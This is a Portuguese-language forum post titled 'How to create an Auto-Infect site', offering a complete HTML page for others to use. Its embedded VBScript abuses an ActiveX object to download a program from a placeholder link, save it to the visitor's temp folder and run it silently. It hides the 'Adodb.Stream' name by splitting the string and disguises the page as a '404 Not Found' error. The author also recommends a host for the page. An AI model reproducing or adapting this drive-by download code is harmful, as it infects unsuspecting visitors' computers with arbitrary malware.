Como criar um site Auto-Infect ?

Ver o tópico anterior Ver o tópico seguinte Ir em baixo

Como criar um site Auto-Infect ?

Mensagem por An0n@S0RC3R3R~# em Dom Jul 08, 2012 5:53 pm

Esse Documento HTML que irei postar, é um Auto-Executável...
Codigo:

Código:


<html>
<title></title>
<head></head>
<body>
<script language="VBScript">

on error resume next

' due to how ajax works, the file MUST be within the same local domain
dl = "LINK DO PROGRAMA"

' create adodbstream object
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")

a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1

' xml ajax req
str6="GET"
x.Open str6, dl, False
x.Send

' Get temp directory and create our destination name
fname1="NOME DO PROGRAMA E A EXTENSÃO"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2) ' Get tmp folder
fname1= F.BuildPath(tmp,fname1)
S.open
' open adodb stream and write contents of request to file
' like vbs dl+exec code
S.write x.responseBody
' Saves it with CreateOverwrite flag
S.savetofile fname1,2

S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0

</script>
<head>
<title>[rox] || 404 Not Found</title>
</head><body>
<center><embed src="/" pluginspage="" type="application/x-shockwave-flash" width="550" height="290"> </embed>

<!-- <script>location.href='http://google.com'</script> -->
</body>

</html>

Para quem não sabe onde hospedar códigos HTML indico o pastehtml.com

Abrç

An0n@S0RC3R3R~#

Mensagens 18
Reputação : 0
Brasil Mozilla Firefox

Voltar ao Topo Ir em baixo

Ver o tópico anterior Ver o tópico seguinte Voltar ao Topo

- Tópicos similares

 
Permissão deste fórum:
Você não pode responder aos tópicos neste fórum